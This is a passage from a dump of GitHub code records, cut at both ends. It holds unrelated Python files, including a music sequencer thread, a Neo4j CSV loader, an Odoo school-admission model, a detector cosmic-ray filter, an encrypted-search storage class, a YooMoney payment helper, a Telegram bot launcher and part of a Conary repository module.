self.__repeat = repeat\n \n def playing(self):\n return self.__playing\n \n def stop(self):\n self.__playing = False\n\n def quit(self):\n self.stop()\n self.__quit = True\n \n def get_pos(self):\n return self.__pos\n\n def set_pos(self, pos):\n self.__pos = pos\n\n def run(self):\n while True:\n self.__playing = False \n while get_state() == 0:\n time.sleep(0.05)\n if self.__quit:\n return\n\n patterns = self.__data.get_patterns()\n\n time_tick = self.time_tick\n \n self.__playing = True\n self.__pos = -1\n\n while get_state() == 1:\n #Check current position\n jack_pos = int(get_time()/time_tick)\n if self.__pos == jack_pos:\n time.sleep(0.001)\n continue\n \n self.__pos = jack_pos\n #Get current pattern and calculate maximum position\n pos = 0\n current_pattern = None\n for pat in patterns:\n plen = pat.len * TICKS_PER_BEAT\n if self.__pos >= pos and self.__pos < pos + plen:\n current_pattern = pat\n break\n pos += plen\n\n pos = self.__pos - pos\n \n #Play current position of current pattern\n if current_pattern:\n for track in current_pattern.get_tracks():\n synth_conn = self.__conn.get_port(track.get_synth())\n port = track.get_port()\n for (event, note, volume) in track.get_sequence()[pos]:\n if synth_conn != None: \n if event == Sequence.NOTE_ON:\n synth_conn.note_on(note, port, volume)\n elif event == Sequence.NOTE_OFF:\n synth_conn.note_off(note, port)\n elif event == Sequence.CONTROL:\n synth_conn.set_control(volume, note, port)\n elif event == Sequence.PITCHBEND:\n synth_conn.set_pitchbend(note, port)\n \n #Stop all sound\n for pat in patterns:\n for track in pat.get_tracks():\n synth_conn = self.__conn.get_port(track.get_synth())\n port = track.get_port()\n for seq_pos in track.get_sequence():\n for (event, note, volume) in seq_pos:\n if synth_conn != None: synth_conn.note_off(note, port)\n \n def stop_sounds(self):\n pass\n","repo_name":"desfonema/dseq","sub_path":"audio/PlayerThreadSong.py","file_name":"PlayerThreadSong.py","file_ext":"py","file_size_in_byte":3908,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"14020082040","text":"from neo4j import GraphDatabase\n\nclass Neo4jConnection:\n \n def __init__(self, uri, user, pwd):\n self.__uri = uri\n self.__user = user\n self.__pwd = pwd\n self.__driver = None\n try:\n self.__driver = GraphDatabase.driver(self.__uri, auth=(self.__user, self.__pwd))\n except Exception as e:\n print(\"Failed to create the driver:\", e)\n \n def close(self):\n if self.__driver is not None:\n self.__driver.close()\n \n def query(self, query, db=None):\n assert self.__driver is not None, \"Driver not initialized!\"\n session = None\n response = None\n try: \n session = self.__driver.session(database=db) if db is not None else self.__driver.session() \n response = list(session.run(query))\n except Exception as e:\n print(\"Query failed:\", e)\n finally: \n if session is not None:\n session.close()\n return response\n\nemrconn = Neo4jConnection(\"bolt://localhost:7687\",\"guhacamole\",\"password\")\n\nemrconn.query(\"CREATE OR REPLACE DATABASE lr_graph_5m\")\n\nquery = '''\nUSING PERIODIC COMMIT 500\nLOAD CSV WITH HEADERS FROM\n\"https://raw.githubusercontent.com/guhacamole/hkgpipeline/master/adv_pipeline/lrweights.csv\"\nAS line FIELDTERMINATOR ','\nMERGE (disease:Disease {name: line.sb})\nMERGE (symptom:Symptom {name: line.ob})\nMERGE (disease)-[r:disease_symptom {wt: line.wt}]->(symptom)\n'''\nemrconn.query(query, db='lr_graph_5m')\n\n\"\"\"\nemrconn.query(\"CREATE OR REPLACE DATABASE graphdb2\")\n\nquery = '''\nUSING PERIODIC COMMIT 500\nLOAD CSV WITH HEADERS FROM\n\"https://raw.githubusercontent.com/guhacamole/hkgpipeline/master/adv_pipeline/lrweights.csv\"\nAS line FIELDTERMINATOR ','\nMERGE (disease:Disease {name: line.sb})\nMERGE (symptom:Symptom {name: line.ob})\nMERGE (disease)-[r:disease_symptom {wt: line.wt}]->(symptom)\n'''\nemrconn.query(query, db='graphdb2')\n\"\"\"","repo_name":"snehasaisneha/hkgpipeline","sub_path":"adv_pipeline/neo4j_write_adv.py","file_name":"neo4j_write_adv.py","file_ext":"py","file_size_in_byte":1939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36569494073","text":"from odoo import api, fields, models, _\nfrom odoo.exceptions import ValidationError\nimport random\n\n\nclass SchoolAdmission(models.Model):\n _name = \"school.admission\"\n _inherit = ['mail.thread', 'mail.activity.mixin']\n _description = \"School Admission\"\n _rec_name = \"name\"\n _order = 'id desc'\n\n name = fields.Char(string=\"Sequence\", default=\"New\")\n student_id = fields.Many2one('school.student', string=\"Student\", ondelete=\"restrict\")\n gender = fields.Selection(related='student_id.gender', readonly=False)\n ref = fields.Char(string=\"Reference\")\n email = fields.Char(string=\"Email\", related='student_id.email', readonly=False)\n admission_time = fields.Datetime(string=\"Admission Time\", default=fields.Datetime.now)\n fill_up_date = fields.Date(string=\"Fill Up Date\", default=fields.Date.context_today)\n transcription = fields.Text(string=\"Transcription\")\n priority = fields.Selection([\n ('0', 'Normal'),\n ('1', 'Low'),\n ('2', 'High'),\n ('3', 'Very High')], string=\"Priority\")\n state = fields.Selection([\n ('draft', 'Draft'),\n ('in_consultant', 'In Consultant'),\n ('done', 'Done'),\n ('cancel', 'Cancel')], default=\"draft\", string=\"Status\", required=True, tracking=True)\n teacher_id = fields.Many2one('res.users', string=\"Teacher\", tracking=True)\n library_line_ids = fields.One2many('admission.library.line', 'admission_id', string=\"Library Line\")\n hide_sales_price = fields.Boolean(string=\"Hide Sales Price\")\n exam_id = fields.Many2one('school.exam', string=\"Exam\")\n progress = fields.Integer(string=\"Progress\", compute=\"_compute_progress\")\n duration = fields.Float(string=\"Duration\")\n company_id = fields.Many2one('res.company', string=\"Company\", default=lambda self: self.env.company)\n currency_id = fields.Many2one('res.currency', related='company_id.currency_id')\n amount_total = fields.Monetary(string=\"Total\", compute='_compute_amount_total', currency_field='currency_id')\n\n @api.onchange(\"student_id\")\n def onchange_student_id(self):\n self.ref = self.student_id.ref\n\n def unlink(self):\n if self.state != 'draft':\n raise ValidationError(_(\"You can delete admission only in 'Draft' state\"))\n return super(SchoolAdmission, self).unlink()\n\n def action_test(self):\n return {\n 'type': 'ir.actions.act_url',\n 'url': 'https://www.facebook.com/',\n }\n\n def action_notification(self):\n action = self.env.ref('om_school.action_school_admission')\n return {\n 'type': 'ir.actions.client',\n 'tag': 'display_notification',\n 'params': {\n 'title': _('The following replenishment order has been generated'),\n 'message': '%s',\n 'links': [{\n 'label': self.student_id.name,\n 'url': f'#action={action.id}&id={self.id}&model=school.admission',\n }],\n 'sticky': False,\n 'next': {\n 'type': 'ir.actions.act_window',\n 'res_model': 'school.student',\n 'res_id': self.student_id.id,\n 'views': [(False, 'form')]\n }\n }\n }\n\n def action_share_whatsapp(self):\n if not self.student_id.phone:\n raise ValidationError(_(\"Phone number is missing in student record!\"))\n message = 'Hi %s, Your admission no. is %s' % (self.student_id.name, self.name)\n whatsapp_api_url = 'https://api.whatsapp.com/send?phone=%s&text=%s' % (self.student_id.phone, message)\n self.message_post(body=message, subject='Whatsapp Message')\n return {\n 'type': 'ir.actions.act_url',\n 'target': 'new',\n 'url': whatsapp_api_url\n }\n\n def action_send_mail(self):\n template = self.env.ref(\"om_school.admission_mail_template\")\n for rec in self:\n if rec.student_id.email:\n template.send_mail(rec.id, force_send=\"True\")\n\n def action_in_consultant(self):\n for rec in self:\n if rec.state == 'draft':\n rec.state = 'in_consultant'\n\n def action_done(self):\n for rec in self:\n rec.state = 'done'\n return {\n 'effect': {\n 'fadeout': 'slow',\n 'message': 'Clicked Successfully',\n 'type': 'rainbow_man',\n }\n }\n\n def action_cancel(self):\n action = self.env.ref('om_school.action_cancel_admission').read()[0]\n return action\n\n def action_reset(self):\n for rec in self:\n rec.state = 'draft'\n\n @api.depends('state')\n def _compute_progress(self):\n for rec in self:\n if rec.state == 'draft':\n progress = random.randrange(0, 25)\n elif rec.state == 'in_consultant':\n progress = random.randrange(25, 99)\n elif rec.state == 'done':\n progress = 100\n else:\n progress = 0\n rec.progress = progress\n\n @api.depends('library_line_ids')\n def _compute_amount_total(self):\n for rec in self:\n amount_total = 0\n for line in rec.library_line_ids:\n amount_total += line.price_subtotal\n rec.amount_total = amount_total\n\n @api.model\n def create(self, vals):\n vals['name'] = self.env['ir.sequence'].next_by_code('school.admission')\n res = super(SchoolAdmission, self).create(vals)\n\n sl_no = 0\n for line in res.library_line_ids:\n sl_no += 1\n line.sl_no = sl_no\n return res\n \n def write(self, values):\n res = super(SchoolAdmission, self).write(values)\n sl_no = 0\n for line in self.library_line_ids:\n sl_no += 1\n line.sl_no = sl_no\n return res\n\n\nclass AdmissionLibraryLine(models.Model):\n _name = \"admission.library.line\"\n _description = \"Admission Library Line\"\n\n sl_no = fields.Integer(string=\"Sl No.\")\n product_id = fields.Many2one('product.product', required=True)\n price = fields.Float(related='product_id.list_price', digits='Product Price')\n qty = fields.Integer(string=\"Quantity\", default=\"1\")\n admission_id = fields.Many2one('school.admission', string=\"Admission\")\n currency_id = fields.Many2one('res.currency', related='admission_id.currency_id')\n price_subtotal = fields.Monetary(string=\"Subtotal\", compute='_compute_price_subtotal',\n currency_field='currency_id')\n\n @api.depends('price', 'qty')\n def _compute_price_subtotal(self):\n for rec in self:\n rec.price_subtotal = rec.price * rec.qty\n\n","repo_name":"mehedihasanreal/om_school","sub_path":"om_school/models/admission.py","file_name":"admission.py","file_ext":"py","file_size_in_byte":6784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18920019256","text":"import h5py\nimport numpy as np\nfrom scipy.ndimage import binary_dilation\nfrom skimage import measure\nfrom tqdm import tqdm\n\n\n# look for pixels > 5 counts outside r>128 radius\n# if the integrated signal within 10x10 pixel window > 100 then it might be a cosmic ray pixel\n# if the number of connected pixels is 4<50 and the counts in these pixels have an average > 5\n# then cosmic ray\n\nfnam = 'data_amo87215.cxi'\nrmin = 128\nthreshold = 8\nconnected_min = 3\nconnected_max = 50\naverage = 5\n\nmax_window = np.ones((20, 20), dtype=bool)\n\nconnected_min_near = 3\nconnected_max_near = 100\naverage_near = 3\n\n# half width\n#window = 3\n#window_threshold = 50\n#dilation = 2\n\n\n\n# frame shape needs to be 3D\n\nwith h5py.File(fnam, 'a') as f:\n data = f['entry_1/data_1/data']\n xyz = f['/entry_1/instrument_1/detector_1/xyz_map'][()]\n dx = f['entry_1/instrument_1/detector_1/x_pixel_size'][()]\n dy = f['entry_1/instrument_1/detector_1/y_pixel_size'][()]\n \n # prevent detecting artefacts as rays\n data_mask = f['entry_1/instrument_1/detector_1/mask'][()]\n \n # pixel radius\n r = ((xyz[0]/dx)**2 + (xyz[1]/dy)**2)**0.5 \n \n rmask = (r > rmin) \n \n #cs = []\n #fs = []\n for d in tqdm(range(data.shape[0])):\n frame = data[d] * data_mask\n\n is_ray = False\n \n # threshold \n mask = (frame > threshold) \n \n # we might have a ray\n if np.any(mask) :\n cosmic_mask = np.zeros(frame.shape, dtype = bool)\n\n #print(f'\\nframe {d} has pixels above threshold')\n # loop over 2D panels\n for i in range(mask.shape[0]):\n if np.any(mask[i]) :\n # look within max_window x max_window of threshold\n mask2 = binary_dilation(mask[i], structure = max_window)\n\n # label connected regions in mask\n labeled, num = measure.label((mask2 * frame[i])>0, connectivity=2, return_num=True)\n \n # loop over labels and test\n props = measure.regionprops(labeled, intensity_image = frame[i])\n \n for prop in props:\n if prop.area < connected_max and prop.area >= connected_min :\n #print(f' connected area is within bounds {connected_min} > {prop.area} > {connected_max}')\n if prop.mean_intensity > average :\n #print(f' connected area has mean intenity greater than threshold {prop.mean_intensity} > {average}')\n cosmic_mask[i][labeled==prop.label] = True\n is_ray = True\n \n if is_ray :\n print(f'\\n\\nframe {d} has pixels above threshold')\n #cs.append(np.concatenate([cosmic_mask[i] for i in range(cosmic_mask.shape[0])], axis=1))\n #fs.append(np.concatenate([frame[i] for i in range(cosmic_mask.shape[0])], axis=1))\n print(f' adding to cosmic ray mask\\n')\n data[d] *= ~cosmic_mask\n\n# should be one at 2516\n","repo_name":"andyofmelbourne/EMC","sub_path":"emc/cosmic_rays.py","file_name":"cosmic_rays.py","file_ext":"py","file_size_in_byte":3143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35148832445","text":"\"\"\"\n Desenvolva um programa que leia o primeiro termo e a razão de uma PA.\n No final, mostre os 10 primeiros termos dessa progressão.\n\"\"\"\n\n\np_termo = int(input('Digite o primeiro Termo'))\nrazao = int(input('Digite a Razão'))\ndecimo_termo = p_termo + (10 - 1) * razao # Formula para saber qual vai ser o décimo termo\nfor p_termo in range(p_termo, decimo_termo + razao, razao): #Colocando o inicio e o Fim para não ficar em loop infinito\n print(p_termo,'!',end=' ')\nprint('Acabou')\n\n\n","repo_name":"vgabriel10/meus-exercicios-python","sub_path":"Exercicios/ex051.py","file_name":"ex051.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4061610723","text":"import json\nfrom abc import ABC\nfrom math import ceil\nfrom typing import IO, Callable, Dict, List, Tuple, Union\n\nfrom .index import EncryptedIndex\nfrom .models.location import Location\nfrom .types import (\n Bucket,\n Datastore,\n FileData,\n FileIdentifier,\n FilesMap,\n FractionsOfBucketFiles,\n FractionsOfLevelFiles,\n LargeBuckets,\n LargeLevels,\n Level,\n LookupTable,\n WholeLevelFiles,\n)\n\n\nclass IndexStorage:\n \"\"\"A transformer class that exposes methods to store an index as a collection of MXC files.\n\n Args:\n encrypted_index: A structurally-encrypted searchable index.\n cutoff_size: File size limit, in bytes.\n\n Attributes:\n lookup_table: Map from a keyword to corresponding location in a remote file.\n\n Examples:\n >>> encrypted_index = EncryptedIndex(events)\n >>> storage = IndexStorage(encrypted_index, cutoff_size=5 * 1024) # 5 MB file size limit\n >>> for file_data, callback in storage:\n >>> mxc_uri = your_upload_method(file_data)\n >>> callback(mxc_uri)\n >>> storage.update_lookup_table()\n >>> updated_lookup_table = storage.lookup_table\n \"\"\"\n\n lookup_table: LookupTable\n\n __cutoff_size: int\n __files: FilesMap\n __remaining_files: FilesMap\n __mxc_uris_map: Dict[FileIdentifier, str]\n\n def __init__(self, encrypted_index: EncryptedIndex, cutoff_size: int):\n self.lookup_table = encrypted_index.lookup_table\n self.__cutoff_size = cutoff_size\n self.__mxc_uris_map = {}\n\n # Get files\n whole_level_files, large_levels = self.__segregate_levels(\n encrypted_index.datastore)\n fractions_of_level_files, large_buckets = self.__split_large_levels(\n large_levels)\n fractions_of_bucket_files = self.__split_large_buckets(large_buckets)\n self.__files = {\n **whole_level_files,\n **fractions_of_level_files,\n **fractions_of_bucket_files\n }\n\n def __next__(self) -> Tuple[FileData, Callable[[str], None]]:\n \"\"\"Provides next file to be uploaded.\n\n Returns:\n A tuple of the form (F, CB), where — F is the next file and CB is a callback function to update after\n \"\"\"\n if not self.__remaining_files:\n raise StopIteration\n\n identifier, data = self.__remaining_files.popitem()\n\n def callback(uri: str):\n self.__mxc_uris_map[identifier] = uri\n\n return data, callback\n\n def __iter__(self) -> \"IndexStorage\":\n \"\"\"Initializes loop variables and returns iterator object\n\n Called automatically by the `in` keyword when loop starts.\n\n Returns:\n The same object.\n \"\"\"\n self.__remaining_files = self.__files.copy()\n return self\n\n def __segregate_levels(\n self,\n levels: Datastore,\n ) -> Tuple[WholeLevelFiles, LargeLevels]:\n files: WholeLevelFiles = {}\n large_levels: LargeLevels = {}\n\n for l, level in levels.items():\n level_size = self.__estimate_json_size(level)\n if level_size < self.__cutoff_size:\n files[l] = level\n else:\n large_levels[l] = level\n\n return files, large_levels\n\n def __split_large_levels(\n self,\n large_levels: LargeLevels,\n ) -> Tuple[FractionsOfLevelFiles, LargeBuckets]:\n\n def divide_level(l: int, level: Level):\n \"\"\"Divides level into appropriately sized blobs of buckets, reporting extra-large buckets separately.\n\n Args:\n l: Index of level being split\n level: Data stored in the level to be split\n\n Returns:\n Tuple of the form (FOL, LB) where — FOL are fractions that the level has been divided into, and LB are extra-large buckets.\n \"\"\"\n\n fractions = {}\n temp_large_buckets = {}\n\n f = 0\n current_fraction: Level = []\n size_so_far = 0\n\n for b, bucket in enumerate(level):\n bucket_size = self.__estimate_json_size(bucket)\n if bucket_size >= self.__cutoff_size:\n # Add bucket to large buckets\n temp_large_buckets[l, b] = bucket\n\n # Save the fraction collected so far\n if len(current_fraction) > 0:\n fractions[l, f] = current_fraction\n\n # Reset current fraction\n f = b + 1\n current_fraction = []\n size_so_far = 0\n elif size_so_far + bucket_size + 2 < self.__cutoff_size:\n # Add bucket to current fraction\n current_fraction.append(bucket)\n size_so_far += bucket_size + 2\n else:\n # Save the fraction collected so far\n fractions[l, f] = current_fraction\n\n # Reset current fraction\n f = b\n current_fraction = [bucket]\n size_so_far = bucket_size\n\n # Save remaining fraction\n if len(current_fraction) > 0:\n fractions[l, f] = current_fraction\n\n return fractions, temp_large_buckets\n\n files: FractionsOfLevelFiles = {}\n large_buckets: LargeBuckets = {}\n\n for level_index, level_data in large_levels.items():\n fractions_of_level_files, current_large_buckets = divide_level(\n level_index,\n level_data,\n )\n files.update(fractions_of_level_files)\n large_buckets.update(current_large_buckets)\n\n return files, large_buckets\n\n def __split_large_buckets(\n self,\n large_buckets: LargeBuckets,\n ) -> FractionsOfBucketFiles:\n files: FractionsOfBucketFiles = {}\n\n # Iterate over large buckets\n for (l, b), bucket in large_buckets.items():\n # Calculate size of fractions\n number_of_fractions = ceil(\n self.__estimate_json_size(bucket) / self.__cutoff_size)\n fraction_length = ceil(len(bucket) / number_of_fractions)\n\n # Divide bucket into fractions and save fractions\n for i in range(number_of_fractions):\n f = i * fraction_length\n files[l, b, f] = bucket[f:f + fraction_length]\n\n return files\n\n def update_lookup_table(self):\n \"\"\"Updates lookup table of encrypted index with new, remote locations.\"\"\"\n new_lookup_table: LookupTable = {\n keyword: []\n for keyword in self.lookup_table\n }\n for keyword, locations in self.lookup_table.items():\n for location in locations:\n converted = self.__convert_location(location)\n if isinstance(converted, tuple):\n new_lookup_table[keyword].extend(converted)\n else:\n new_lookup_table[keyword].append(converted)\n self.lookup_table = new_lookup_table\n\n def __convert_location(\n self, location: Location) -> Union[Location, Tuple[Location, ...]]:\n\n def is_stored_as_level(level_index: int) -> bool:\n return level_index in self.__mxc_uris_map\n\n def is_stored_as_fraction_of_bucket(\n level_index: int,\n bucket_index: int,\n ) -> bool:\n return any(\n True for identifier in self.__mxc_uris_map\n if isinstance(identifier, tuple) and len(identifier) == 3 and\n identifier[0] == level_index and identifier[1] == bucket_index)\n\n def find_fraction_of_bucket_file(\n level_index: int,\n bucket_index: int,\n ) -> List[int]:\n return sorted(\n identifier[2] for identifier in self.__mxc_uris_map\n if isinstance(identifier, tuple) and len(identifier) == 3 and\n identifier[0] == level_index and identifier[1] == bucket_index)\n\n def find_fraction_of_level_file(\n level_index: int,\n bucket_index: int,\n ) -> int:\n closest_lower = max(\n identifier[1] for identifier in self.__mxc_uris_map\n if isinstance(identifier, tuple) and len(identifier) == 2 and\n identifier[0] == level_index and identifier[1] <= bucket_index)\n return closest_lower\n\n l, b, s, c = location.level_index, location.bucket_index, location.start_of_chunk, location.chunk_length\n new_location: Location\n if is_stored_as_level(l):\n return Location(\n is_remote=True,\n mxc_uri=self.__mxc_uris_map[l],\n bucket_index=b,\n start_of_chunk=s,\n chunk_length=c,\n )\n elif is_stored_as_fraction_of_bucket(l, b):\n # Find all fractions of that bucket\n starts_of_files = find_fraction_of_bucket_file(l, b)\n if s >= starts_of_files[-1]:\n starts_of_files = [starts_of_files[-1]]\n else:\n first_fraction = next(\n (i for i in range(len(starts_of_files) - 1)\n if starts_of_files[i] <= s < starts_of_files[i + 1]),\n starts_of_files[-1],\n )\n last_fraction = next(\n (i for i, f in enumerate(starts_of_files) if f >= s + c),\n starts_of_files[-1],\n )\n starts_of_files = starts_of_files[first_fraction:last_fraction]\n\n # Modify relevant locations of fractions.\n locations: List[Location] = []\n for start_of_file in starts_of_files:\n length_covered_so_far = max(start_of_file - s, 0)\n locations.append(\n Location(\n is_remote=True,\n mxc_uri=self.__mxc_uris_map[l, b, start_of_file],\n start_of_chunk=max(s - start_of_file, 0),\n chunk_length=c - length_covered_so_far,\n ))\n\n return tuple(locations)\n else:\n prev_b = find_fraction_of_level_file(l, b)\n return Location(\n is_remote=True,\n mxc_uri=self.__mxc_uris_map[l, prev_b],\n bucket_index=b - prev_b,\n start_of_chunk=s,\n chunk_length=c,\n )\n\n @staticmethod\n def __estimate_json_size(data: Union[Bucket, Level]):\n fakefile = _FakeFile()\n json.dump(data, fakefile)\n return fakefile.size\n\n\nclass _FakeFile(IO, ABC):\n \"\"\"\n File-like class that stores only the size of the file written to it.\n\n Args:\n size: Initial size of file.\n \"\"\"\n\n def __init__(self, size=0):\n self.size = size\n\n def write(self, string):\n \"\"\"Records length of passed string and discards it.\n\n Args:\n string: String to be written to file.\n \"\"\"\n self.size += len(string)\n","repo_name":"BURG3R5/matrix-encrypted-search","sub_path":"encrypted_search/storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":11161,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"45052002736","text":"from yoomoney import Client\r\nfrom yoomoney import Authorize\r\nfrom yoomoney import Quickpay\r\nimport uuid\r\nimport extra.main_data as md\r\n\r\nclass YooMoney(object):\r\n\tdef __init__(self, label):\r\n\t\tself.token = md.YOOMONEY_TOKEN\r\n\t\tself.card_number = md.YOOMONEY_CARD\r\n\t\tself.label = label\r\n\r\n\r\n\tdef check_balance(self):\r\n\t\tclient = Client(self.token)\r\n\t\tuser = client.account_info()\r\n\t\tprint(\"Account number:\", user.account)\r\n\t\tprint(\"Account balance:\", user.balance)\r\n\t\tprint(\"Account currency code in ISO 4217 format:\", user.currency)\r\n\t\tprint(\"Account status:\", user.account_status)\r\n\t\tprint(\"Account type:\", user.account_type)\r\n\t\tprint(\"Extended balance information:\")\r\n\t\tfor pair in vars(user.balance_details):\r\n\t\t print(\"\\t-->\", pair, \":\", vars(user.balance_details).get(pair))\r\n\t\tprint(\"Information about linked bank cards:\")\r\n\t\tcards = user.cards_linked\r\n\t\tif len(cards) != 0:\r\n\t\t for card in cards:\r\n\t\t print(card.pan_fragment, \" - \", card.type)\r\n\t\telse:\r\n\t\t print(\"No card is linked to the account\")\r\n\r\n\r\n\tdef make_payment(self, summ):\r\n\t\tself.summ = summ\r\n\t\tquickpay = Quickpay(\r\n receiver=self.card_number,\r\n quickpay_form=\"shop\",\r\n targets=\"Pay\",\r\n paymentType=\"SB\",\r\n sum=self.summ,\r\n label=self.label,\r\n )\r\n\t\treturn quickpay.base_url\r\n\t\t# return quickpay.redirected_url\r\n\r\n\r\n\tdef check_payment(self):\r\n\t\tclient = Client(self.token)\r\n\t\thistory = client.operation_history(label=self.label)\r\n\t\t# print(\"List of operations:\")\r\n\t\t# print(\"Next page starts with: \", history.next_record)\r\n\t\tfor operation in history.operations:\r\n\t\t\treturn operation.status\r\n\t\t# print()\r\n\t\t# print(\"Operation:\",operation.operation_id)\r\n\t\t# print(\"\\tStatus -->\", operation.status)\r\n\t\t# print(\"\\tDatetime -->\", operation.datetime)\r\n\t\t# print(\"\\tTitle -->\", operation.title)\r\n\t\t# print(\"\\tPattern id -->\", operation.pattern_id)\r\n\t\t# print(\"\\tDirection -->\", operation.direction)\r\n\t\t# print(\"\\tAmount -->\", operation.amount)\r\n\t\t# print(\"\\tLabel -->\", operation.label)\r\n\t\t# print(\"\\tType -->\", operation.type)\r\n\r\n\r\n\r\n\r\n\r\n\t# \"a1b2c3d4e5\"","repo_name":"olegtititele/azsbot","sub_path":"extra/yoomoneypayment.py","file_name":"yoomoneypayment.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5252600004","text":"import asyncio\nimport logging\n\nfrom aiogram import Bot, Dispatcher\nfrom aiogram.contrib.fsm_storage.memory import MemoryStorage\nfrom aiogram.contrib.fsm_storage.redis import RedisStorage2\n\nfrom tgbot.config import Config\nfrom tgbot.filters.access_filter import BotAccessFilter\nfrom tgbot.filters.admin_filter import IsAdminFilter\nfrom tgbot.handlers.admin_hander import AdminHandler\nfrom tgbot.handlers.error_handler import ErrorHandler\nfrom tgbot.handlers.p2p_handler import P2PHandler\nfrom tgbot.handlers.user_handler import UserHandler\nfrom tgbot.middlewares.acl_middleware import ACLMiddleware\nfrom tgbot.middlewares.environment_middleware import EnvironmentMiddleware\nfrom tgbot.services.notificator import Notificator\nfrom tgbot.utils.scheduler_manager import SchedulerManager\n\nlogger = logging.getLogger(__name__)\nhandlers = []\n\n\ndef register_all_middlewares(dp, config):\n dp.setup_middleware(EnvironmentMiddleware(config=config))\n dp.setup_middleware(ACLMiddleware())\n\n\ndef register_all_filters(dp):\n dp.filters_factory.bind(IsAdminFilter)\n dp.filters_factory.bind(BotAccessFilter)\n\n\ndef register_all_handlers(dp):\n handlers.append(AdminHandler(dp))\n handlers.append(P2PHandler(dp))\n handlers.append(UserHandler(dp))\n handlers.append(ErrorHandler(dp))\n\n\nasync def main():\n logging.basicConfig(\n level=logging.INFO,\n format=u'%(filename)s:%(lineno)d #%(levelname)-8s [%(asctime)s] - %(name)s - %(message)s',\n filename='tgbot.log'\n )\n logger.info(\"Starting bot\")\n config = Config.get_instance(\".env\")\n\n storage = RedisStorage2() if config.tg_bot.use_redis else MemoryStorage()\n bot = Bot(token=config.tg_bot.token, parse_mode='HTML')\n dp = Dispatcher(bot, storage=storage)\n SchedulerManager().start()\n Notificator.get_instance(bot)\n\n bot['config'] = config\n\n register_all_middlewares(dp, config)\n register_all_filters(dp)\n register_all_handlers(dp)\n\n try:\n await dp.start_polling()\n finally:\n await SchedulerManager().shutdown()\n await dp.storage.close()\n await dp.storage.wait_closed()\n await bot.session.close()\n\n\nif __name__ == '__main__':\n try:\n asyncio.run(main())\n except (KeyboardInterrupt, SystemExit):\n logger.error(\"Bot stopped!\")\n","repo_name":"maksktl/p2p_orders_bot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":2292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28149769863","text":"\"\"\"\nThis script runs the application using a development server.\nIt contains the definition of routes and views for the application.\n\"\"\"\n\nfrom flask import Flask\napp = Flask(__name__)\n\n# Make the WSGI interface available at the top level so wfastcgi can get it.\nwsgi_app = app.wsgi_app\n\n\n@app.route('/')\ndef hello():\n \"\"\"Renders a sample page.\"\"\"\n return \"Hello World!\"\n\nif __name__ == '__main__':\n import os\n HOST = os.environ.get('SERVER_HOST', 'localhost')\n try:\n PORT = int(os.environ.get('SERVER_PORT', '5555'))\n except ValueError:\n PORT = 5555\n app.run(HOST, PORT)\n","repo_name":"microsoft/PTVS","sub_path":"Python/Templates/Web/ProjectTemplates/Python/Web/WebProjectFlask/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":2481,"dataset":"github-code","pt":"48"} +{"seq_id":"1411688884","text":"import gzip\nimport zlib\ntry:\n from cStringIO import StringIO\nexcept ImportError:\n from StringIO import StringIO\n\nfrom conary.repository import errors, repository, datastore\nfrom conary.lib import digestlib\nfrom conary.lib import sha1helper\nfrom conary.local import schema\nfrom conary import files\n\nclass LocalRepositoryChangeSetJob(repository.ChangeSetJob):\n\n storeOnlyConfigFiles = True\n\n \"\"\"\n Removals have to be batched (for now at least); if we do them too\n soon the code which merges into the filesystem won't be able to get\n to the old version of things.\n \"\"\"\n\n def _containsFileContents(self, sha1iter):\n return [ self.repos._hasFileContents(sha1) for sha1 in sha1iter ]\n\n def addTrove(self, oldTroveSpec, trove, troveCs, hidden = False):\n assert(not hidden), \"This code pathway does not accept hidden trove commits\"\n info = trove.getNameVersionFlavor()\n pin = self.autoPinList.match(trove.getName())\n return (info, self.repos.addTrove(trove, pin = pin,\n oldTroveSpec = oldTroveSpec))\n\n def addFileVersion(self, troveId, pathId, path, fileId,\n newVersion, fileStream = None,\n withContents = True):\n self.repos.addFileVersion(troveId[1], pathId, path, fileId, newVersion,\n fileStream = fileStream)\n\n def addTroveDone(self, troveId, mirror=False):\n assert(not mirror), \"This code pathway can not be used for mirroring\"\n self.trovesAdded.append(self.repos.addTroveDone(troveId[1]))\n\n def oldTrove(self, oldTrove, trvCs, name, version, flavor):\n # trvCs is None for an erase, !None for an update\n self.oldTroves.append((name, version, flavor))\n\n # while we're here, trove change sets may mark some files as removed;\n # we need to remember to remove those files, and make the paths for\n # those files candidates for removal. trove change sets also know\n # when file paths have changed, and those old paths are also candidates\n # for removal\n if trvCs:\n for pathId in trvCs.getOldFileList():\n if not oldTrove.hasFile(pathId):\n # the file has already been removed from the non-pristine\n # version of this trove in the database, so there is\n # nothing to do\n continue\n (oldPath, oldFileId, oldFileVersion) = oldTrove.getFile(pathId)\n self.removeFile(pathId, oldFileId)\n else:\n # a pure erasure; remove all of the files\n for (pathId, path, fileId, version) in oldTrove.iterFileList():\n self.removeFile(pathId, fileId)\n\n def oldTroveList(self):\n return self.oldTroves\n\n def oldFile(self, pathId, fileId, sha1):\n self.oldFiles.append((pathId, fileId, sha1))\n\n def oldFileList(self):\n return self.oldFiles\n\n def addFile(self, troveId, pathId, fileObj, path, fileId, version,\n oldFileId = None):\n repository.ChangeSetJob.addFile(self, troveId, pathId, fileObj, path,\n fileId, version)\n\n if oldFileId:\n self.removeFile(pathId, oldFileId)\n\n def addFileContents(self, sha1, fileContents, restoreContents,\n isConfig, precompressed = False):\n if isConfig:\n repository.ChangeSetJob.addFileContents(self, sha1,\n fileContents, 